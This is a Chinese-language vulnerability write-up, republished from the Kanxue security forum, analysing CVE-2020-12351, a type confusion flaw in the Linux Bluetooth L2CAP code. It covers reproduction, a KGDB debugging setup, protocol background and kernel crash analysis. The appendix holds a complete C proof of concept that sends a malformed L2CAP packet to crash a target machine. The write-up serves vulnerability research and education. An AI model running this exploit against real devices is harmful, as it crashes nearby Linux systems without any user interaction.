CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

  • A+
所属分类:安全文章
CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

本文为看雪论坛精华文章

看雪论坛作者ID:极目楚天舒




CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

一. 漏洞信息

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析


1. 漏洞简述


CVE-2020-12351是谷歌安全研究人员在Linux内核中发现的蓝牙安全漏洞。该漏洞位于net/bluetooth/l2cap_core.c,是一个基于堆的类型混淆漏洞。攻击者在蓝牙范围内向目标设备发送恶意L2CAP载荷即可触发该漏洞,引发目标设备蓝牙服务DoS或使攻击者获得目标设备kernel权限的任意代码执行。该漏洞利用过程无需受害者参与交互,因此被称为“零点击攻击”。

2. 漏洞原理


Bluetooth.ko在处理L2CAP数据包时,将一个错误的数据类型作为参数传递给了内核函数,导致内核函数解析指针发生了错误,引发了空指针引用或不可修复的缺页异常。

3. 影响和解决方案


Linux kernel 4.8以上的版本受影响,我在测试中发现从Linux kenrel 5.4.0-53开始该漏洞就已经不起作用了。Intel建议升级到Linux kernel 5.9版本。


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

二. 漏洞复现

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图2-1 


攻击者和目标机都运行在Ubuntu20.04 Linux kernel 5.4.0-42上,攻击者通过一些手段获知目标机的蓝牙地址BD(方法较为简单),在本地以root权限运行poc即可使目标机蓝牙服务崩溃。


首先,目标机需要开启蓝牙并且使得自身可以被发现和连接:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图2-2 目标机开启蓝牙


接下来在攻击机中输入命令“sudo ./poc 18:26:49:CD:09:E1”执行验证程序:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图2-3 发送恶意数据包


可以看到目标机已经崩溃转储重启:


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图2-4

目标机重启后观察/var/crash目录下的内存转储文件观察到了问题出在内核蓝牙服务:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图2-5 目标机蓝牙服务崩溃

观察内核日志发现当内核运行到“sk_filter_trim_cap + 0x6d”发生了空指针引用,对应于filter.h的第657行。

sk_filter_trim_cap函数位于内核文件vmlinux中,现场对应的测试指令访问[r15+2]处的内容。r15=0因此实际访问地址为0x2导致空指针引用。

     

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

三. 双机调试环境搭建

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
    

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图3-1 连接示意图


攻击者向目标机发送恶意数据包导致目标机的蓝牙服务崩溃,调试机通过RS-232串口线连接到目标机使用KGDB对内核进行调试。


双机调试需要目标机支持KGDB调试,可以在内核编译时设置menuconfig打开支持选项。当前Ubuntu发行版内核已经默认开启了KGDB支持,通过命令“cat /boot/config-uname -r | grep -i GDB”查看可知当前内核支持KGDB以及串口调试。


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图3-2 查看KGDB开启情况


1. 准备符号文件和内核源码文件


双机调试需要尽可能保持目标机和调试机运行的内核版本相同,这里目标机和调试机都是运行Linux kernel 5.4.0-42.46。为了调试的时候能够在kgdb查看符号信息,需要在调试机中安装同版本带调试信息和符号的kernel,我们可以到launchpad.net站点下载符号文件。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图3-3 符号文件和源码文件下载

文件拷贝到调试机中执行“dpkg -i”命令安装符号文件,安装完成后“usr/lib/debug/boot/vmlinux-5.4.0-42-generic”和“/usr/lib/debug/lib/modules/5.4.0-42-generic/kernel/net/bluetooth/bluetooth.ko”就是所需的符号文件。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图3-4 符号文件安装目录


2. 配置目标机并建立调试会话


目标机内核已经默认支持KGDB调试,但是默认不工作需要我们通过编辑grub文件将KGDB调试附加到启动目录中,这样就可以在开机的时候进入调试。以root权限编辑“/etc/grub.d/40-custom”文件,添加如下启动条目:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图3-5 编辑grub文件

注意到内核启动命令部分着色的内容,kgdbwait表示目标机开机后等待调试机的KGDB连接,kgdboc是KGDB over console的缩写表示通过控制台交互,ttyS0表示通过默认的第一个串口进行交互,115200为串口波特率,nokaslr表示禁用内核地址随机化便于下断点调试。

至此目标机的配置已经完成,开机后可以看到grub增加了调试启动选项,进入调试后看到如下等待连接的界面:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图3-6

在调试机中使用PL2303 USB转串口扩展计算机的串口,用RS-232电缆与目标机COM1端口相连,这时调试机的/dev目录下会多出ttyUSB0文件,该文件就是串口通信文件。由于默认情况下需要root权限才能使用串口,所以执行命令“sudo usermod -a -G dialout username” 将username用户添加到tty文件所属的dialout组,重启后可以使用普通用户权限操作端口。

使用stty命令配置调试机的串口波特率为115200与目标机一致。
CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图3-7 配置调试机串口

接下来编写gdb配置文件config,该文件的目的是自动加载符号文件、设置目标机架构、连接调试机,可以避免复杂的手工输入。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图3-8 gdb配置文件

为使gdb能够使用list命令显示源代码,gdb从/build/linux-kcrkKx目录下读取源代码,因此在/目录下依次建立build和linux-kcrkKx目录,将源码目录复制到linux-kcrkKx目录下并命名为linux-5.4.0。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图3-9 gdb源代码目录

至此调试机也配置完毕,加载gdb配置文件可以看到gdb自动断下,使用list命令可以看到断点处对应的内核源码。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图3-10

3. 注意事项


关闭内核地址随机化KASLR。KASLR的存在使得内核加载的基地址每次重启后都有所不同会干扰调试,因此一定要在grub文件中的启动命令行加上nokaslr。

设置gdb配置文件的目标架构。若没有指定目标架构,gdb会默认目标机是32位,这会造成后续很多麻烦,因此在配置文件中设置set architecture i386:x86-64。

拷贝内核源码文件。可能不同gdb的默认搜索源码目录是不同的,要根据调试过程中的具体报错信息创建源码目录。

在目标机中巧用Sysrq下断点。在gdb中输入continue命令后内核开始运行,再次输入Ctrl+c无法使目标机内核停下来,需要我们在目标机中向/proc/sysrq-trigger文件中写入字符“g”使内核停止等待kgdb命令。关于sysrq-trigger文件用法请参考Linux 4.x源码Documentation目录下的sysrq.txt有全面说明。


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

四. 蓝牙技术介绍

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

1. 经典蓝牙架构


蓝牙设备由蓝牙主机、蓝牙模块和传输层组成。以具备蓝牙功能的计算机为例,蓝牙模块是主板上集成的蓝牙通信部分电路,包括蓝牙主控芯片、基带芯片、射频电路,这些现在都可以做在一块芯片里。蓝牙主机负责使用蓝牙模块实现特定的功能,例如文件传输、语音通话,这一部分既包括硬件也包括软件是最复杂的部分。传输层连接蓝牙主机和蓝牙模块,它将主机的请求发送到模块去执行并将模块接收到的数据传递给主机,这部分包括电路连接和相应的驱动,常见的有USB总线、UART、RS232及其驱动。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图4-1 蓝牙通信架构

对于语音传输这种实时性要求较高的应用,使用同步数据交换SCO发送到蓝牙模块进行传输。对于文件传输这类实时性要求不高的应用,则使用异步数据交换ACL进行传输。

进行异步数据交换时,为了能让多个上层协议使用一个基带信道,需要经过“链路适配与控制协议”层处理,简称L2CAP层。例如蓝牙耳机中既有用于播放音频的ACL数据,也有用于控制播放歌曲的ACL数据,但它们都共用一个物理信道,这时要用L2CAP定义的数据格式加以区分。

应用的原始数据需要经过L2CAP层进行分段、加上数据头打包成L2CAP格式的分组传递给HCI层,HCI层将数据打包成主机控制器能够理解的格式发送给蓝牙模块去执行;接收时蓝牙模块将接收到的数据以HCI分组的格式发送给主机,主机解析出其中的数据再传递给L2CAP层,L2CAP层接收到足够的数据包就会将其重新组合成应用数据,最后传递给上层的协议。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图4-2 分段与重组 

2. HCI ACL数据包解析


第2节提到漏洞位于L2CAP数据解析的位置,HCI ACL数据包承载了L2CAP数据分组。L2CAP数据分组承载了上层应用协议的数据,为使用蓝牙模块发送数据,L2CAP数据分组还需要加上HCI数据头成为L2CAP数据包通过传输层发送给蓝牙模块进行调制发送,接收过程与之相反。
CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图4-3 HCI ACL数据包格式

HCI数据包有命令包、事件包、ACL数据包、SCO数据包四种格式,第一个字节0x2表示为HCI ACL数据包;handle用于标识一个和远程蓝牙主机的连接,这个在多个设备连接时有用到;PB表示所搭载的L2CAP分组所在的位置,0x2表示第一个L2CAP分组,0x1表示中间分组;dlen表示HCI载荷长度,单位为字节。

L2CAP层目的有三:信道复用;分段与重组;差错控制和重传。信道复用通过L2CAP头的CID字段进行标记,不同的协议使用不同的CID来标记自己的数据包。其中命令信道用于建立本地和远程之间的服务通信;广播信道用于向一组设备广播数据,属于无连接信道;保留信道用于测试;动态分配信道用于分配给每一个上层应用协议使用。

CID
说明
1
命令信道
2
广播信道
3~3f
保留
40~ffff
动态分配
表4-1 CID分配

Length字段标记了L2CAP载荷和FCS校验码的总长度,最大为65535字节也就是64KB。


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

五. PoC分析

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析


公开PoC代码见附录2。


第10~52行代码用于生成L2CAP数据包的FCS校验码,与内核校验的逻辑完全相同所以直接从内核源码中截取,位置为linux-5.4/linux-5.4/lib/crc16.c 。


进入main函数,首先调用hci_open_dev打开一个与本地蓝牙模块通信的HCI层原始套接字,通过该套接字可以随意构造HCI数据包。


第93~114行代码生成一个L2CAP层套接字并与远程主机连接。该套接字的目的是生成一个远程连接句柄handle,后面把该handle提取出来组装到HCI原始套接字的数据包上。需要注意的是在蓝牙编程中,作为主动连接的一方也需要将套接字与本地地址绑定,这一点和基于TCP/IP的网络编程有点不同。


第116~123行调用getsockopt函数将L2CAP连接的handle提取出来。


第126~134行构造HCI ACL包的内层L2CAP包,其中L2CAP包头的CID字段设置为AMP_MGR_CID(0x3),计算L2CAP包除去FCS字段的crc校验码并添加到FCS字段。构造出来的L2CAP包如下:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-1 L2CAP数据结构


第149行调用自定义hci_send_acl_data函数将L2CAP包打包成HCI ACL数据包,最后通过HCI原始套接字发送。


hci_send_acl_data函数接收4个参数,hci_cocket是本地HCI原始套接字,hci_handle是已经建立的L2CAP连接的句柄,data是要发送的L2CAP数据包,data_length是L2CAP数据包的长度。


hci_handle和PC、BC标志组成HCI包头的handle字段,data_length初始化HCI包头的dlen字段。使用writev函数将HCI包头、L2CAP包打包后发送至HCI原始套接字,所以生成HCI ACL数据包是在writev完成的,其中打包的第一个字节为HCI_ACLDATA_PKT(0x2)表示这是一个ACL类型的HCI包。

构造好的HCI数据包通过HCI原始套接字发送到本地蓝牙模块,由模块中的固件识别、处理,交给基带发送到目标机。


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-2 HCI ACL数据包



CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

六、漏洞分析

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

1. 静态分析


观察调用栈信息可以看到调用的层次为:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-1 调用层次


HCI分组到达会引发一个中断唤醒hci_rx_work例程,该函数将包含HCI分组的套接字缓冲从接收队列中取出,此时套接字缓冲data指针指向HCI数据包头,hci_skb_pkt_type判断数据区中的载荷类型,将ACL类型的HCI数据包传递到hci_acldata_packet中处理。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-2 HCI层套接字缓冲

hci_acl_data_packet从套接字缓冲取出HCI数据包头中的连接句柄,该句柄作为哈希值查找到到hci连接信息conn。flags为从HCI头部提取出的PB和BC的值,用于判断L2CAP分组的位置。调用skb_pull函数将套接字缓冲的data指针指向L2CAP数据包头。接下来调用l2cap_recv_acldata,此时数据从HCI层进入到L2CAP层。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-3 L2CAP层套接字缓冲

L2cap_recv_acldata从hci连接信息中取出l2cap连接信息。flags是从HCI头部提取出的PB值,从PoC发送过来的载荷中的PB=0x2,下面对L2CAP头部的长度信息进行校验,通过校验后进入到l2cap_recv_frame函数。

l2cap_recv_frame从L2CAP包头取出CID的值,将套接字缓冲的data指针指向L2CAP净荷。根据CID的值选择进入相应的信道处理函数。PoC发送过来的载荷中CID=0x3,因此进入l2cap_data_channel函数。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-4 data指向L2CAP净荷

L2cap_data_channel从L2CAP连接信息中取出信道信息chan。PoC发送的L2CAP包的CID字段为0x3说明PoC发过来的是A2MP协议包,但并没有通过信令信道协商建立A2MP信道的过程,而是直接通过HCI套接字构造了A2MP包就发往目标机,所以l2cap_get_chan_by_scid返回空指针,控制流进入到a2mp_channel_create函数。

a2mp_channel_create函数层层调用到a2mp_chan_open,该函数设置chan->mode为L2CAP_MODE_ERTM,所以case判断中进入到l2cap_data_rcv函数中。

L2cap_data_rcv先调用l2cap_check_fcs对L2CAP净荷的FCS进行校验,PoC的FCS生成函数就是直接截取的源码,校验失败就直接丢弃数据包。接下来第二个if判断中第一个判断条件chan->mode==L2CAP_MODE_ERTM为真,所以执行到sk_filter内联函数,该函数展开为sk_filter_trim_cap。

注意到sk_filter_trim_cap接收的第一个参数是指向struct sock的指针,而通过sk_filter传进来的却是chan->data指针,出现问题的地方调用的filter=chan->data->sk_filter。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-5 问题定位

根据crash文件定位最终的问题点在filter.h文件的657行,所在的__bpf_prog_run_save_cb函数实际上是内联函数bpf_prog_run_save_cb展开后的结果,具体见代码5-9。

参数调用链中成员的变化为chan->data->sk_filter->prog->cb_access,由于在代码5-6中传递给sk_filter函数的第一个参数出现了混淆,导致了chan->data->sk_filter->prog=NULL,引发了最后一步的prog->cb_access发生了空指针引用。

最后我再来研究一下类型混淆是如何导致空指针引用的。

按照程序的正常逻辑,传递给代码5-6中的漏洞函数sk_filter的第一个参数是struct sock *变量,正常的参数链中的成员变化应该为:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-7 参数链

在异常参数链中,chan->data是在前面a2mp_channel_create函数执行期间初始化的,a2mp_channel_create函数调用了amp_mgr_create来初始化chan->data。

实际上chan->data指向一块类型为struct amp_mgr类型的堆空间,大小为0x70。显然异常参数链中获取sk_filter成员已经超出了堆的范围,所以在后后面的两步均有可能导致访问内存出现问题。实际确实是这样,在这篇分析中捕获到的是prog+0x2处的空指针引用,但经过多次运行也捕获到了sk_filter+0x18处无法修正的缺页异常。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-8 两种类型的异常

对于sk_filter+0x18处无法修正的缺页异常也很好解释。结合sk_filter_trim_cap反汇编代码分析:

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-9 sk_filter_trim_cap片段

[sk+110h]取出sk_filter放入rax寄存器中,rax也就是代码5-7中filter=rcu_dereference(sk->sk_filter)的返回值,如果rax=0那么数据包直接被丢弃,所以要走到mov r15, [rax+18h]这一步,rax必然是内核堆中一个不为0的垃圾值,使用这个值作为地址访问内存将导致不可修正的缺页异常。

2. 动态分析


动态调试的思路是追踪执行流,查看关键内核路径是否得到执行和最终达到的内存破坏效果。

综合上面的静态分析,我归纳出几个需要关注的路径点。一是代码5-5中位于l2cap_data_channel函数中的l2cap_get_chan_by_scid执行结果是否为NULL,因为这个关乎到l2cap_data_rcv是否得到执行。二是代码5-7中rcu_dereference的执行结果,因为filter的值直接决定了图5-7所示的参数链的最后两步是否会出现访存错误。

所以2个关键的断点打在l2cap_get_chan_by_scid执行完后和rcu_dereference执行完后。

首先在目标机中得到bluetooth模块的加载基地址为0xffffffff_c032d000。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-10 模块基地址

在调试机中启动gdb,远程连接到目标机,在目标机中使用sysrq断下,这样可以在gdb中获得输入调试命令的机会。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-11

Gdb加载bluetooth.ko符号文件,text段基地址为模块加载基地址。同时在l2cap_data_channel下断点,continue让目标机继续运行。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-12 加载模块符号文件

在攻击机中运行poc向目标机发送恶意数据包,gdb此时断下,反汇编l2cap_data_channel函数,在0xffffffff_c035f0eb的位置下第二个断点,continue继续执行。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-13

第二个断点处断下,观察到rax=0,也就是l2cap_get_chan_by_scid返回值为NULL,对照代码5-5可知控制流进入了a2mp_channel_create函数,这为后面一系列骚操作埋下了伏笔。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-14

第三个断点打在sk_filter_trim_cap函数的0xffffffff_819565ef处,此处对应于代码5-7中函数rcu_dereference(sk->sk_filter),rax为返回值对应于filter变量。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-15

continue继续执行后断下,观察rax的值显然不是指针,而是堆上的一个垃圾值,基本验证了前面静态分析得出的结论。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-16

在gdb尝试访问rax+0x18位置的内存,显然无法访问,continue目标机肯定崩掉。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

图5-17

continue执行到“mov 0x18(%rax), %r15”的位置,目标机崩溃,调试进程退出。该过程由于目标机卡死而没有被kdump转储,所以无法分析crash文件,可以确认这是图5-8中的第二种类型的异常。

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
图5-18


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

七、参考资料

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析


[1] BleedingTooth: Linux kernel蓝牙漏洞。https://www.4hou.com/posts/VlEB
[2] BleedingTooth:Linux蓝牙零点击远程执行代码漏洞(CVE-2020-12351)演示。https://www.bilibili.com/video/av244924734/
[3] Linux: Heap-Based Type Confusion in L2CAP (BleedingTooth) 。https://github.com/google/security-research/security/advisories/GHSA-h637- c88j-47wq 
[4] Ubuntu内核源码调试方法(双机调试)。https://bbs.pediy.com/thread-249192.htm
[5]《深入Linux内核架构》Wolfgang Mauerer著
[6]《Bluetooth Essential for Programmers》
[7]《BLUETOOTH SPECIFICATION Version 4.2 》


CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

八. 附录

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析


1. 资源下载


[1] 内核符号文件及源码下载。https://launchpad.net/ubuntu/groovy/amd64/linux-image-unsigned-5.4.0-42-generic-dbgsym/5.4.0-42.46

[2] HCI数据包。https://pan.baidu.com/s/1i86sskp4DvBc5dQVOnEdSQ  密码: un90


2. PoC.c

# poc.c # Compiled with command “gcc -o poc poc.c -lbluetooth”##include <stdlib.h>#include <unistd.h>#include <sys/socket.h>#include <sys/uio.h>#include <bluetooth/bluetooth.h>#include <bluetooth/l2cap.h>#include <bluetooth/hci.h>#include <bluetooth/hci_lib.h>#define AMP_MGR_CID 0x03 static uint16_t crc16_tab[256] = {    0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241,    0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440,    0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40,    0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841,    0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40,    0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41,    0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641,    0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040,    0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240,    0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441,    0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41,    0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840,    0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41,    0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40,    0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640,    0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041,    0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240,    0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441,    0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41,    0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840,    0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41,    0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40,    0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640,    0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041,    0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241,    0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440,    0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40,    0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841,    0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40,    0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41,    0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641,    0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040}; uint16_t crc16(uint16_t crc, const void *buf, size_t size) {    const uint8_t *p;    p = buf;    while (size--)        crc = crc16_tab[(crc ^ (*p++)) & 0xFF] ^ (crc >> 8);     return crc;}    /*以上部分是从linux5.4源码中截取的FCS计算代码*/ int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {    uint8_t type = HCI_ACLDATA_PKT;    uint16_t BCflag = 0x0000;    uint16_t PBflag = 0x0002; /*表示是第一个L2CAP分组*/    uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; /*填充HCI包头的PB、BC字段*/    hci_acl_hdr hdr;    hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); /*合并成HCI包头的handle字段*/    hdr.dlen = data_length; /*填充HCI包头的净荷长度字段*/    struct iovec iv[3];    iv[0].iov_base = &type;    iv[0].iov_len = 1;    iv[1].iov_base = &hdr;    iv[1].iov_len = HCI_ACL_HDR_SIZE;    iv[2].iov_base = data;    iv[2].iov_len = data_length;    return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); /*HCI数据包通过原始套接字发送到远程*/} int main(int argc, char **argv) {    if (argc != 2) {        printf("Usage: %s MAC_ADDRn", argv[0]);        return 1;    }     bdaddr_t dst_addr;    str2ba(argv[1], &dst_addr);    printf("[*] Resetting hci0 device...n");    system("sudo hciconfig hci0 down");    system("sudo hciconfig hci0 up");    printf("[*] Opening hci device...n");    struct hci_dev_info di;    int hci_device_id = hci_get_route(NULL);    int hci_socket = hci_open_dev(hci_device_id);    if (hci_devinfo(hci_device_id, &di) < 0) {        perror("hci_devinfo");        return 1;    }    printf("[*] Connecting to victim...n");    struct sockaddr_l2 laddr = {0};    laddr.l2_family = AF_BLUETOOTH;    laddr.l2_bdaddr = di.bdaddr;     struct sockaddr_l2 raddr = {0};    raddr.l2_family = AF_BLUETOOTH;    raddr.l2_bdaddr = dst_addr;    int l2_sock;     if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {        perror("socket");        return 1;    }    if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {        perror("bind");        return 1;    }    if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {        perror("connect");        return 1;    }     struct l2cap_conninfo l2_conninfo;    socklen_t l2_conninfolen = sizeof(l2_conninfo);    if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {        perror("getsockopt");        return 1;    }     uint16_t hci_handle = l2_conninfo.hci_handle;    printf("[+] HCI handle: %xn", hci_handle);    printf("[*] Sending malicious L2CAP packet...n");    struct {        l2cap_hdr hdr;        uint16_t ctrl;        uint16_t fcs;    } packet = {0};     packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);    packet.hdr.cid = htobs(AMP_MGR_CID);    packet.fcs = crc16(0, &packet, sizeof(packet) - 2);    hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));    close(l2_sock);    hci_close_dev(hci_socket);    return 0;}



CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

- End -



CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析


看雪ID:极目楚天舒

https://bbs.pediy.com/user-home-741085.htm

  *本文由看雪论坛 极目楚天舒 翻译,转载请注明来自看雪社区。




# 往期推荐





CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

球分享

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

球点赞

CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

球在看



CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: